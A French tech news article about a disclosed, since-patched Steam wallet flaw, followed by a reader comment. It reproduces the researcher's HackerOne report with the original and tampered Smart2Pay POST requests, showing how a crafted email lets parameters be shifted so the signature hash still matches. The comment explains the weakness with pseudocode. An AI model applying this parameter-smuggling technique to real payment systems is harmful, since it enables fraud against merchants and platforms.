IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Un hacker signale une faille qui lui a permis d'ajouter des fonds illimités à son portefeuille Steam
Et reçoit une prime de 7 500 $ US

Le , par Stéphane le calme

110PARTAGES

12  0 
Un hacker ingénieux a découvert un exploit étonnant qui lui a permis de générer un montant illimité de fonds pour son portefeuille Steam sans en payer le prix fort. La manipulation du processus de paiement de Steam s'est avérée assez simple. Dans son billet sur Hacker One, le chercheur en sécurité a expliqué qu'il lui suffisait d'une adresse e-mail spécifique qui devait être enregistrée avec le compte Steam.

Pour faire simple, l'adresse e-mail n'avait besoin que d'inclure le terme « montant5000 ». Le nombre après le mot « montant » indique le montant d'argent qui serait déposé dans le portefeuille du compte Steam respectif. Une fois l'adresse e-mail enregistrée, un petit paiement de 1 USD a dû être effectué pour recevoir le montant des fonds spécifié à l'adresse e-mail. En somme, en passant par cette méthode, il était possible d’intercepter les paiements réalisés par le biais de Smart2Pay et de les augmenter de manière artificielle. Le hacker n'a exécuté avec succès ce processus que pour prouver son élaboration théorique.

L'exploit aurait fonctionné avec des méthodes de paiement utilisant le système smart2pay. Inutile de dire que Valve a depuis corrigé la faille de sécurité critique et a exprimé sa gratitude envers le hacker en lui donnant une prime de 7 500 $ US. Cette histoire rappelle qu'un comportement honnête peut porter ses fruits, même en ligne. Après tout, le hacker aurait pu décider d'acheter des milliers de clés de jeu avec ses fonds de portefeuille Steam presque gratuits.

Si Valve a depuis résolu le problème et espère que les utilisateurs continueront d’apporter leur aide à l’avenir, aucune communication n’a été faite quant à l’exploitation de cette faille et nous ne savons pas si cette dernière a effectivement été utilisée par les hackers.


Rapport du hacker

« J'ai trouvé une vulnérabilité qui permet à l'attaquant de générer un solde de portefeuille Steam. »

« Tout d'abord, vous devrez changer l'adresse e-mail de votre compte Steam en quelque chose comme (j'expliquerai pourquoi dans les prochaines étapes, le montant100 est la partie importante) : brixamount100abc@█████ »

« Ensuite, allez sur https://store.steampowered.com/steam...count/addfunds et cliquez sur ajouter des fonds. »

« Procédez au paiement et sélectionnez n'importe quel paiement qui utilise le mode de paiement Smart2Pay (przelewy24 dans mon pays). »

« Cliquez sur les étapes suivantes comme vous le feriez avec une transaction normale. »

« Interceptez la demande POST à https://globalapi.smart2pay.com/ »

« Vous devriez voir une demande comme ça »

Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://store.steampowered.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.steampowered.com/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

MerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███
« Nous ne pouvons pas modifier les paramètres, car il existe un champ de hachage avec signature, mais la signature est générée comme ce hachage (ALL_FIELDS_NAMES_VALUES_CONTACTED) »

« Pour cette requête, cela ressemblera à ceci : hash(MerchantID1102MerchantTransactionID█████Amount2000.....) »

« Ainsi, avec notre e-mail spécial, nous pouvons déplacer les paramètres d'une manière qui changera le montant pour nous »

« Par exemple, nous pouvons changer le montant d'origine Amount=2000 en Amount2=000 et après l'avoir contacté, il sera toujours Amount2000 »

« Ensuite, nous pouvons changer l'e-mail de CustomerEmail=brixamount100abc%40████ en CustomerEmail=brix&amount=100&ab=c%40█████████ par ceci nous ajoutons un nouveau montant de champ avec notre valeur. La nouvelle requête devrait ressembler à ça : »

Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://store.steampowered.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.steampowered.com/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

MerchantID=1102&MerchantTransactionID=██████&Amount2=000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brix&amount=100&ab=c%40██████████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=█████████
« Ensuite, payez simplement 1 $ et vous devriez obtenir votre argent sur steam wallet en quelques heures/jours. Voici quelques transactions effectuées avec cette méthode :
2███████3
2████9 »

« Je pense que l'impact est assez évident, l'attaquant peut générer de l'argent et briser le marché de Steam, vendre des clés de jeu à bas prix, etc. »

Source : Hacker One

Une erreur dans cette actualité ? Signalez-le nous !

Avatar de anykeyh
Membre confirmé https://www.developpez.com
Le 18/08/2021 à 11:22
Juste pour un peu plus d'info sur le hack, car la présentation dans l'article initial ne me semble pas tout à fait claire et le hack est plutôt brillant :

La validité de la transaction est confirmée par le hash. Mais la façon dont le hash est calculé est mauvaise :

Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
  hash(QueryParams) = hash (concatenation chaque clé + valeur)
  # par exemple:
  hash("a=b&c=d")  = hash("abcd")

  # du coup on peut bypasser la signature de cette maniere:
  # 2 hash egaux mais l'action est differente.
  hash("param1=1&email=emailamount100blabla@somewhere.com&amount=10") == hash("param1=1&email=email&amount=100&blabla=somewhere.comamount&10")

  # le serveur verra dans le 1er cas (légitime):
  {
    param1: "1",
    email: "emailamount100blabla@somewhere.com",
    amount: 10
  }

  #et dans le cas où le montant reçu n'est pas égal au montant payé:
  {
    param1: "1",
    email: "email"
    amount: 100, # < 90% de discount :P
    blabla: "somewhere.comamount" # < ignoré par le serveur
    10: true # ignoré par le serveur
  }
4  0